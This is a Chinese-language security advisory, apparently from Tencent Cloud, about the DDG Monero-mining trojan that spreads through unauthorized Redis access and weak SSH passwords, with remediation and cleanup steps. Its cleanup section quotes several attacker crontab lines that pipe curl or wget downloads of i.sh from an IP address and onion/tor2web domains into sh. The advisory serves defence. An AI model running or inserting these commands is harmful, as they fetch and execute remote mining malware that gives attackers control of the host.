尊敬的腾讯云客户, 您好:
近日, 腾讯云安全中心监测到部分用户云主机被植入门罗币挖矿程序, 攻击者主要利用 Redis 未授权访问, SSH 弱密码, OrientDB 数据库远程命令执行, Struts2 S2-052 远程代码执行等多种漏洞入侵服务器.
腾讯云安全中心建议您及时开展自查并进行升级修复, 避免业务和经济损失.
[风险详情]
根据腾讯云安全中心的分析, 遭受攻击的机器主要感染 DDG 挖矿木马家族, 该木马包含 downloader 和挖矿模块, 主要通过 Redis 未授权和 Linux 弱口令漏洞来实现入侵攻击, 进而远程控制服务器进行挖矿等操作.
[风险等级]
高风险
[问题影响]
远程控制主机, 消耗主机资源进行挖矿
[修复建议]
Redis 未授权访问:
1.)为 Redis 添加密码验证(重启 Redis 才能生效)
2.)禁止外网访问 Redis(重启 Redis 才能生效)
3.)以低权限运行 Redis 服务(重启 Redis 才能生效)
详细操作请参考: http://bbs.qcloud.com/thread-30706-1-1.html
SSH 弱口令:
修改口令, 增加口令复杂度, 如包含大小写字母, 数字和特殊字符, 增加密码长度等.
[挖矿木马清理方法]
请按照以下处理步骤处理:
1,
crontab 如果包含:
- "*/15 * * * * (curl -fsSL http://104.248.181.42:8000/i.sh||wget -q -O- http://104.248.181.42:8000/i.sh) | sh"
- "*/15 * * * * (curl -fsSL http://ddgsdk6oou6znsdn.onion.in.net/i.sh||wget -q -O- http://ddgsdk6oou6znsdn.onion.in.net/i.sh) | sh"
- "*/15 * * * * (curl -fsSL https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wget -q -O- https://ddgsdk6oou6znsdn.tor2web.io/i.sh) | sh"
请清理;
2,
/var/spool/cron/root 文件, 如果包含:
- "*/15 * * * * curl -fsSL http://104.248.181.42:8000/i.sh | sh"
- "*/15 * * * * wget -q -O- http://104.248.181.42:8000/i.sh | sh"
- "*/15 * * * * curl -fsSL http://ddgsdk6oou6znsdn.onion.in.net/i.sh | sh"
- "*/15 * * * * wget -q -O- http://ddgsdk6oou6znsdn.onion.in.net/i.sh | sh"
- "*/15 * * * * curl -fsSL https://ddgsdk6oou6znsdn.tor2web.io/i.sh | sh"
- "*/15 * * * * wget -q -O- https://ddgsdk6oou6znsdn.tor2web.io/i.sh | sh"
请清理;
3,
如果存在在 / var/spool/cron/crontabs 目录, 请检查
/var/spool/cron/crontabs/root 文件, 如果包含:
- "*/15 * * * * curl -fsSL http://104.248.181.42:8000/i.sh | sh"
- "*/15 * * * * wget -q -O- http://104.248.181.42:8000/i.sh | sh"
- "*/15 * * * * curl -fsSL http://ddgsdk6oou6znsdn.onion.in.net/i.sh | sh"
- "*/15 * * * * wget -q -O- http://ddgsdk6oou6znsdn.onion.in.net/i.sh | sh"
- "*/15 * * * * curl -fsSL https://ddgsdk6oou6znsdn.tor2web.io/i.sh | sh"
- "*/15 * * * * wget -q -O- https://ddgsdk6oou6znsdn.tor2web.io/i.sh | sh
请清查;
4,
请检查
/usr/bin/,/usr/libexec/,/usr/local/bin/,/tmp 目录下, 是否包含以 bcc 结尾的可执行文件,
如果存在请计算 md5, 如果 md5 值为: d894bb2504943399f57657472e46c07d,
请结束此文件对应的进程, 删除此文件.
5,/tmp 目录下, 如果包含
qW3xT.2, ddgs.3010, ddgs.3011, ddgs.3013, ddgs.3016, wnTKYg, 2t3ik 等文件
请清理;
6,
清理完成后, 请观察一段时间 (半天) 服务器. 如果仍然存在挖矿进程(长时间 100% 占用 CPU), 请重装系统以避免进一步的损失.
来源: https://www.qcloud.com/developer/article/1402851